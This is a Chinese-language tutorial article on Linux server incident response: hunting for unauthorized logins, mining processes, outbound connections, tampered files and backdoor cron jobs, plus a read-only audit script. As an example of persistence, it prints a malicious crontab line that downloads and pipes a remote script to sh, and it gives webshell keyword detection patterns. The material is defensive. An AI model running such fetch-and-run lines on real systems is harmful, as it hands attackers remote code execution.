ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Linux服务器安全排查:一步步揪出非法进程与异常登录

Linux服务器安全排查:一步步揪出非法进程与异常登录 “追杀这个服务器的恶人”一条一条命令找出服务器里的非法进程和异常登录如果你的服务器突然CPU飙到100%带宽被占满或者磁盘悄悄多了几个奇怪的文件先别急着重装系统。多数情况下不是硬件老化而是有人在你的服务器里做了手脚。这篇文章就解决一个问题如何在服务器上一步步追踪异常行为把藏在暗处的“恶人”找出来。这里说的“恶人”包括非法登录的账户、被植入的挖矿进程、异常的外联连接、篡改过的系统文件以及定时任务里藏着的后门。我会从登录记录、进程排查、网络连接、文件审计、日志还原这几个维度给出可以直接上手的命令和判断方法并附上一套可以反复执行的巡检脚本思路。1. 服务器异常排查核心能力速览能力项说明排查目标异常登录、恶意进程、异常外联、文件篡改、后门定时任务核心工具Linux 系统命令last、who、ps、ss、lsof、find、stat、journalctl、auditd支持系统主流的 Linux 发行版如 CentOS、Ubuntu、Debian、Rocky Linux是否需要 Agent不需要使用系统自带命令即可完成第一轮排查是否需要付费工具不需要优先用系统自带命令和开源工具辅助工具可选配置批量排查可以写成 Shell 脚本对多台服务器执行同一条命令集对业务影响只读命令基本不影响业务重负载命令建议在低峰期执行使用边界排查本机构自有服务器涉及他人系统必须取得书面授权这套排查方法的核心思路是“只看不删”。发现问题先记录、保留证据再决定是否需要隔离或清理。不要一上来就删文件、杀进程否则会破坏取证链后面很难还原攻击路径。2. 适用场景与使用边界这套排查流程适合以下场景服务器无故变卡CPU、内存、带宽被大量占用。安全告警提示有异常登录或异常外联。网站被植入恶意脚本页面出现异常跳转。怀疑内部人员执行了未授权操作。想要在重装系统前确认服务器到底被做了什么。不适合的场景也要说清楚。如果服务器已经被勒索病毒加密或者发现存在大规模横向移动迹象正确处理方式是先断网隔离并联系专业应急响应团队不要继续在业务系统上做大量只读排查以免操作触发了恶意程序的对抗行为。这里必须强调合规边界。你只能对自己拥有或获得授权管理的服务器执行排查操作。如果发现服务器被入侵合理处置路径包括保留日志、断开外网、通知运维团队涉及数据泄露时依法报告。任何绕过系统保护、利用漏洞进入他人系统的行为都不在本文讨论范围内也不应该出现在实际工作中。3. 环境准备与排查前置条件排查前先确认三件事有 root 权限或有 sudo 权限、命令行终端可用、磁盘空间足够写入日志。操作系统的差异会影响部分命令。CentOS 7 及以下版本默认使用iptables和 SysV 服务管理Ubuntu、Debian、CentOS 8 默认使用nftables或firewalld以及 systemd。下面这些命令在主流发行版上都能用如果某个命令不存在就用备选命令替代。排查时需要记录时间范围。建议先执行date查看当前服务器时间再对比登录记录里的时间戳判断是否存在时间偏差。攻击者有时会修改系统时间混淆日志时间跳变本身就是异常信号。# 查看当前时间与时区 date timedatectl磁盘空间检查也很重要。部分审计命令会产生输出文件如果/var分区已经写满先清理无关注释和日志文件释放空间。磁盘满会影响下一步的取证工作。# 查看磁盘使用率 df -h # 查看 /var/log 目录占用 du -sh /var/log命令习惯上建议每次执行命令后将输出追加到独立文件便于对比和留证mkdir -p /tmp/security_check date %F_%T /tmp/security_check/timeline.log last -a /tmp/security_check/last.log4. 第一轮异常登录与账户排查排查服务器入侵第一步是看谁登录过。last和lastb是 Linux 下最直接的登录记录查询命令。last读取/var/log/wtmp显示成功登录的历史记录lastb读取/var/log/btmp显示失败的登录尝试。# 最近的登录记录带完整主机名和IP last -a -n 50 # 查看失败登录记录排查暴力破解 lastb -a -n 50输出里要重点看这几个字段用户名、登录来源 IP、登录时间、登录终端。如果发现来自海外的陌生 IP 成功登录 root 账户或者非工作时间有大量失败后成功的记录基本可以判断存在暴力破解。再看当前在线用户who w接下来检查账户文件。异常账户常见的命名方式是看起来像系统账户、但/bin/bash作为登录 shellUID 为 0 的普通用户或者密码文件里出现可疑的!!变化。# 列出 UID 为 0 的用户正常情况下应该只有 root awk -F: $3 0 {print $1} /etc/passwd # 列出所有可以登录的用户 awk -F: $7 ~ /(bash|sh|zsh)$/ {print $1, $3, $7} /etc/passwd # 查看用户最近修改密码时间 chage -l root判断异常账户时注意区分发行版默认账户。比如 Ubuntu 的sysadmin、某些云镜像的初始化账户看起来像业务账户但实际是云厂商预置的。稳妥做法是先把 UID 为 0 的账户列出来再逐个人工确认。出现多个 UID 0 账户时基本可以判定已被植入了后门账户。sudo 权限也需要检查# 查看所有 sudo 用户 grep -E sudo|wheel /etc/group # 查看 sudoers 配置 cat /etc/sudoers ls -l /etc/sudoers.d/如果/etc/sudoers.d/下出现不认识的文件或者/etc/sudoers中有一行写的username ALL(ALL) NOPASSWD: ALL说明有用户被授予了免密 root 权限需要立即确认该用户是否需要如此高的权限。4.1 登录记录被清空的判断方法攻击者盗取 root 权限后通常会清理登录日志执行echo /var/log/wtmp或删除日志文件。遇到这种情况last输出会非常短或者直接报错。处理方法# 检查 wtmp 文件是否存在 ls -lh /var/log/wtmp* # 查看文件的修改时间和业务操作时间对比 stat /var/log/wtmp如果wtmp被清空但 auth.log 或 secure 日志还在仍然能看到部分登录记录。再不行就看 shell 的历史命令记录# 查看 root 用户的历史命令 cat /root/.bash_history | tail -100 # 查看某个用户的历史命令 cat /home/username/.bash_history | tail -100正常情况下root 登录后执行的命令不会太乱。如果你发现wget、curl、chmod x、useradd、crontab的组合拳基本就是入侵后的手工操作命令链。5. 第二轮进程与网络连接追踪账户只是入口真正的“恶人”是正在运行的恶意进程。排查进程时要同时看 CPU 占用、进程路径、启动时间和启动方式。5.1 高占用进程排查# 按 CPU 占用率排序查看进程 top -c # 一次性输出排名靠前的进程 ps aux --sort-%cpu | head -30重点找两类进程名字伪装成系统进程的高占用程序如kdevtmpfsi、kinsing、xmrig、cr.sh这类常见挖矿程序名称或随机字符串命名的/tmp下程序。明显与业务无关的程序例如 Java 应用服务器上的/tmp/.X11-unix下有大量随机命名进程。发现可疑 PID 后用/proc查看完整信息不要只依赖ps的显示结果。恶意程序经常通过修改进程名来隐藏真实路径。# 查看进程的可执行文件路径 ls -l /proc/PID/exe # 查看进程工作目录 ls -l /proc/PID/cwd # 查看进程打开的环境变量 cat /proc/PID/environ | tr \0 \n # 查看进程所有命令行参数 cat /proc/PID/cmdline | tr \0 判断进程是否恶意需要结合启动路径、CPU 占用、是否异常外联三个维度。只凭高 CPU 就杀进程有可能误杀数据库备份进程或压缩任务。5.2 异常网络连接排查恶意程序运行后通常要外联矿池、C2 服务器或下载恶意负载网络连接记录会暴露真实去向。# 查看所有 TCP 连接显示进程名 ss -antp # 查看所有对外连接排除LISTEN状态 ss -antp | grep -v LISTEN # 查看每个进程监听端口 lsof -i -P -n | grep LISTEN需要重点关注的连接受限于业务范围。比如一台只跑 Nginx 的服务器出现连接到 443 以外的高位端口或连接到非云厂商的境外 IP就要立即追查对应 PID 的进程信息。可以先统计一下本地有哪些端口是开放的# 列出本机监听的端口与服务 ss -tulnp对照业务文档确认每个监听端口对应的服务。多出的 SSH 高位端口、Redis 6379、Docker 2375 都属于高危暴露面。5.3 连接与进程联动追踪举个排查流程示例# 1. 发现异常连接PID为 31337 ss -antp | grep 31337 # 2. 查看进程完整路径 ls -l /proc/31337/exe # 3. 查看该进程所有连接 lsof -p 31337 -i # 4. 查看该进程启动时间与登录记录、文件修改时间对比 ps -o pid,lstart,cmd -p 31337通过时间线对比可以还原攻击脚本的执行顺序什么时间登录、什么时间下载脚本、什么时间启动挖矿进程、什么时间外联矿池。这三个时间点对得上入侵链路就基本清楚了。6. 第三轮文件系统与定时任务审计恶意程序运行后一定会落盘否则重启后无法自动运行。文件系统审计主要解决两个问题哪些目录出现了新文件哪些原有文件被篡改。6.1 可疑目录文件排查攻击者最常往这些目录写文件/tmp、/var/tmp、/dev/shm、/usr/lib、/usr/local/lib、/opt、/root。尤其是/dev/shm是内存文件系统重启后文件自动消失适合运行临时恶意程序非常隐蔽。# 查看 /tmp 目录最近修改的可疑文件 find /tmp /var/tmp /dev/shm -type f -mtime -7 -ls # 查看 /usr/bin /usr/sbin 最近被替换的可执行文件 find /usr/bin /usr/sbin -type f -mtime -7 -ls # 查看系统目录下 72 小时内新增的可执行文件 find /usr/lib /usr/local/lib -type f -perm /111 -mtime -3 -ls查找超大文件也是一种手段。挖矿程序为了保存算力程序本体通常会在/tmp下写几十到几百 MB 的文件# 查找 /tmp 下大于 50MB 的文件 find /tmp -type f -size 50M -exec ls -lh {} \;6.2 定时任务审计定时任务是持久化的主要手段。恶意程序会通过 crontab 实现“重启后仍然存在”的目的。# 查看当前用户定时任务 crontab -l # 查看 root 定时任务 crontab -u root -l # 查看系统级定时任务目录 ls -la /etc/cron.d/ cat /etc/crontab grep -r /etc/cron.* 2/dev/null攻击者常写的定时任务是每几分钟从远程地址下载脚本并执行。典型恶意定时任务内容如下遇到这种旅行立即保留记录并停止执行*/5 * * * * /usr/bin/curl -fsSL http://xxx/init.sh | sh */10 * * * * /tmp/.x/upd /dev/null 21除了 crontab还要看 systemd timer# 查看所有 systemd 定时器 systemctl list-timers --all # 查看开机启动的服务中新增或可疑项 systemctl list-unit-files --typeservice --stateenabled6.3 启动项审计# 查看 rc.local恶意程序常在这追加启动命令 cat /etc/rc.local # 查看超级守护进程配置 ls -l /etc/xinetd.d/ 2/dev/null如果在启动项中发现完全不认识的服务名或脚本路径不要直接删除。先把对应 systemd unit 文件内容保存下来再确认是否属于攻击者写入。systemctl cat 服务名可以查看 unit 文件的实际内容。7. 第四轮日志分析与攻击路径还原前面的操作能确认“服务器有问题”日志分析则负责回答“问题是从哪进来的”。7.1 登录日志CentOS/RHEL 系的认证日志在/var/log/secureUbuntu/Debian 系在/var/log/auth.log。先看登录失败来源和成功来源# 查看最近登录成功的事件Ubuntu/Debian grep Accepted /var/log/auth.log | tail -50 # CentOS/RHEL grep Accepted /var/log/secure | tail -50 # 查看失败的登录 grep Failed password /var/log/auth.log | awk {print $1,$2,$3,$11,$13} | sort | uniq -c | sort -nr | head -20日志里如果发现同一个 IP 在短时间内反复尝试不同用户名最后有一次成功登录那这次成功登录要么是攻击者爆破得手要么是内部误操作。结合成功登录的时间与恶意文件的修改时间是否一致可以进一步缩小范围。7.2 命令历史root 的 bash 历史能还原攻击者执行过的命令但这个信息不完整。攻击者会主动清除历史或者通过-c参数执行命令绕过历史写入。如果历史被清掉可以检查/var/log/下是否有 shell 审计日志例如安装了 auditd 的系统会有 audit 日志# 查看 auditd 是否运行 systemctl status auditd # 搜索 root 用户执行过的命令记录 ausearch -i -m USER_CMD --start today没有 auditd 历史也没关系前面检查的进程和文件时间戳足够拼接出大部分路径。7.3 Web 日志与业务日志如果是 Web 服务器被入侵重点看访问日志中的异常请求。常见特征包括请求路径中出现eval(、base64_decode(、/shell.php等关键字。POST 请求大量访问单一 PHP 文件。User-Agent 为扫描器特征如 sqlmap、 nikto。日志中出现大量 200 响应但页面内容异常的请求。# 查看 Nginx 最近的访问日志 tail -100 /var/log/nginx/access.log # 找出请求中带 php 和可疑关键字的记录 grep -E (eval|base64|shell|cmd|exec) /var/log/nginx/access.log | tail -50如果业务日志显示的是 Java 或 Python 应用关注堆栈中是否存在反序列化漏洞或命令注入调用。这里建议配合应用侧的安全负责人一起看。8. 批量溯源与自动化巡检脚本排查单台服务器是“手工缉凶”多台服务器就需要“设置岗哨”。下面提供一个通用巡检脚本模板每台服务器执行一次输出一份排查报告最后由运维统一分析。脚本只做只读操作不会修改系统和业务可以按需调整检查项#!/bin/bash # 服务器安全巡检脚本只读检查输出到 /tmp/security_check/ OUTDIR/tmp/security_check mkdir -p $OUTDIR echo 系统时间 $OUTDIR/basic.txt date $OUTDIR/basic.txt echo 用户列表 $OUTDIR/basic.txt cat /etc/passwd | grep -v ^# $OUTDIR/users.txt echo UID 0 用户 $OUTDIR/uid0.txt awk -F: $3 0 {print $1} /etc/passwd $OUTDIR/uid0.txt echo 最近登录 $OUTDIR/last.txt last -a -n 30 $OUTDIR/last.txt echo 失败登录 TOP 20 $OUTDIR/lastb.txt lastb -a -n 50 2/dev/null $OUTDIR/lastb.txt echo 高 CPU 进程 $OUTDIR/cpu.txt ps aux --sort-%cpu | head -30 $OUTDIR/cpu.txt echo 监听端口 $OUTDIR/ports.txt ss -tulnp $OUTDIR/ports.txt echo 对外连接 $OUTDIR/network.txt ss -antp | grep -v LISTEN $OUTDIR/network.txt echo 定时任务 $OUTDIR/crontab.txt for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l 2$OUTDIR/crontab_err.txt $OUTDIR/crontab.txt done cat /etc/crontab $OUTDIR/crontab.txt 2/dev/null grep -r /etc/cron.* 2/dev/null $OUTDIR/crontab.txt echo 最近修改的 /tmp 文件 $OUTDIR/tmp_files.txt find /tmp /var/tmp /dev/shm -type f -mtime -7 -ls $OUTDIR/tmp_files.txt echo 新增的可执行文件 $OUTDIR/new_exe.txt find /usr/bin /usr/sbin /usr/local/bin -type f -perm /111 -mtime -7 -ls $OUTDIR/new_exe.txt echo 启动项 $OUTDIR/startup.txt systemctl list-unit-files --typeservice --stateenabled $OUTDIR/startup.txt cat /etc/rc.local 2/dev/null $OUTDIR/startup.txt echo 巡检完成报告目录$OUTDIR批量执行时可以用pssh或ansible分发脚本但要注意两点脚本的输出目录路径需要统一。收集回来的报告建议按主机名加时间戳重命名例如check_web01_20250101.log。# 伪代码示例按主机列表批量执行并收集 for host in $(cat hosts.txt); do scp check_server.sh ${host}:/tmp/ ssh ${host} bash /tmp/check_server.sh scp ${host}:/tmp/security_check/ /local/check_result/${host}_$(date %F)/ done批量巡检能发现单点排查遗漏的问题比如多台服务器都在同一时间段向同一个外网 IP 发包单机视角很难发现规律汇总后才能看到共性和传播路径。9. 资源占用与性能观察排查过程中部分命令本身会影响服务器性能在业务高峰期使用时要谨慎分类。只读轻量命令对资源占用极低可以随时执行last、who、cat、grep、stat、chage。这些命令只读取文件元数据和日志不会产生明显的 CPU 或 IO 压力。中等负载命令建议在业务低峰执行top、ps aux、ss -antp。其中ss -antp在连接数特别多的服务器上会占用一点 CPU但通常可以忽略不计。高负载命令尽量不要在高峰期执行如果必须执行限定范围对整个/分区执行find扫描时尽量加-xdev参数避免扫描到挂载的存储卷。对大日志目录执行grep -r时尽量先ls确认文件大小只对确定要查的文件执行。对/proc下的进程逐个执行ls -l /proc/PID/exe时如果进程数有几万循环操作会产生一定 CPU 开销。观察资源占用本身也可以发现异常。比如你的服务器上跑着 MySQL 和 Nginx正常情况下空闲时 CPU 占用率很低。如果某一段时间频繁出现单核 CPU 跑到 100%而对应进程是/tmp/下的随机文件名这就是典型的挖矿进程特征直接采集证据后排查。10. 常见问题与排查方法问题现象可能原因排查方式解决方案CPU 单核持续 100%挖矿程序或恶意脚本占用top -c定位 PIDls -l /proc/PID/exe确认路径记录进程路径确认是否恶意后结束进程并删除文件服务器主动连接境外 IP恶意程序外联矿池或 C2ss -antp查看连接对应 PIDlsof -p PID -i查看完整链路隔离 IP结束对应进程检查持久化项SSH 登录缓慢或被频繁断连存在暴力破解登录尝试lastb查看失败记录grep Failed /var/log/secure统计来源 IP修改 SSH 端口启用密钥登录配置 fail2ban定时任务目录出现陌生脚本攻击者通过漏洞写入持久化任务查看crontab -l、/etc/cron.d/、systemd timer保留脚本内容做分析确认恶意后清空对应任务/etc/passwd出现 UID 0 的新用户后门账户awk -F: $3 0 /etc/passwd确认账户非业务需要后锁定或删除修改 root 密码文件被篡改但不知道改了什么日志覆盖或被清理stat查看修改时间ls -lt统计目录下文件时间根据时间点反查其他日志确认篡改进来时路径日志文件被清空入侵者清理痕迹stat /var/log/secure查看是否还有其他备份日志保留文件索引信息尽快做磁盘镜像取证执行排查命令被提示权限不足当前账户不是 root 且不在 sudo 组sudo -i切换 root检查/etc/sudoers配置只有获得授权后才能使用 sudo运维账户日常建议使用最小权限服务器重启后恶意进程再次出现存在持久化任务未清除检查 cron、systemd timer、rc.local、启动脚本按持久化优先级依次排查并清除再复查病毒进程是否复活多次排查未发现异常但业务异常排查维度不完整查看最近安装的软件包、kernel module、LD_PRELOAD 注入检查lsmod、/etc/ld.so.preload、系统更新记录这个表格覆盖的是一些高频排查场景。实际处理时要先把所有信息绘制成时间线破口时间点、首次落盘时间、进程启动时间、外联时间、持久化写入时间。时间线一旦清晰即使日志缺失也能推断出大致的攻击路径。11. 最佳实践与加固建议排查做完后最重要的事情不是“把恶人追出来”而是“让恶人进不来”。建议按下面顺序做一轮加固11.1 最小化暴露面关闭不需要的服务端口只保留业务端口和 SSH。SSH 禁止密码登录改用密钥登录设置AllowUsers限制可登录账户。如果服务器在国内云平台安全组只放行必要 IP不要对所有 IP 开放 22 端口。Redis、Elasticsearch、Docker 等组件不要监听 0.0.0.0改为内网地址或 Unix Socket。11.2 建立基线与审计能力每台服务器保存一份“正常端口、正常进程、正常定时任务”的基线清单。部署 auditd记录/etc/passwd、/etc/crontab、/tmp目录的写事件。把/var/log/secure、/var/log/auth.log的日志远程转发到集中日志平台。对核心系统命令文件如ls、ps、netstat在不影响业务的前提下做哈希基线异常时可以用rpm -V或dpkg -V比对。# CentOS 下校验系统命令完整性 rpm -Va | grep -E ^S|^M|^5 # Ubuntu/Debian 下校验 dpkg -V如果系统命令输出出现大量S大小变化或5MD5 变化说明对应二进制文件被替换过系统可能已被 rootkit 感染。11.3 最小权限与及时打补丁普通业务进程不要用 root 运行。Web 应用目录对 PHP/Python 脚本放开执行权限时只给必需的目录执行权限。每月至少检查一次apt list --upgradable或yum check-update数据库、中间件、Web 框架的高危漏洞要在发布后一至两周内完成补丁升级。11.4 事故响应预案提前准备一张“应急联系人清单”包含云厂商售后、内部安全负责人、值班人员联系方式。提前确定“断网隔离”的触发条件不要等到文件被加密后再做决定。每个季度做一次模拟演练发现告警后15 分钟内完成进程快照、连接快照、内存快照。# 应急时快速收集证据 ssh rootserver cat /proc/meminfo; ss -antp; ps aux; last -20 evidence_$(date %F_%H%M).log12. 总结与下一步“追杀服务器里的恶人”本质不是一次性的杀毒操作而是从登录记录、进程、网络、文件、定时任务五个维度还原攻击路径的安全排查流程。先把结论说直接一点最值得先验证的命令组合是last、ps aux --sort-%cpu、ss -antp五分钟内就能判断服务器是否存在明显异常。最容易踩的坑是直接 kill 掉可疑进程却没有先查看/proc/PID/下的完整路径导致进程在下个定时周期又复活也错失了取证机会。如果要保存一套最小可运行配置建议把文中的巡检脚本存成/usr/local/bin/server_check.sh每月跑一次并把结果归档到日志平台。下一步可以扩展的方向分为三层。第一层给所有服务器配置集中日志平台和给auditd相关规则补齐让排查不再依赖事后登机第二层引入开源 HIDS 或云平台自带的安全中心自动化识别已知恶意文件和异常行为第三层在充分评估能力和授权范围的前提下对核心业务做攻防演练验证确认防御动作在实际攻击场景下是否真的有效。无论排查结果是有惊无险还是确认被入侵都要保留完整的证据链和时间线再决定要不要清理、怎么清理。服务器安全没有一劳永逸“追杀”过一次之后建立常态化巡检和响应机制才是收尾的关键。
返回列表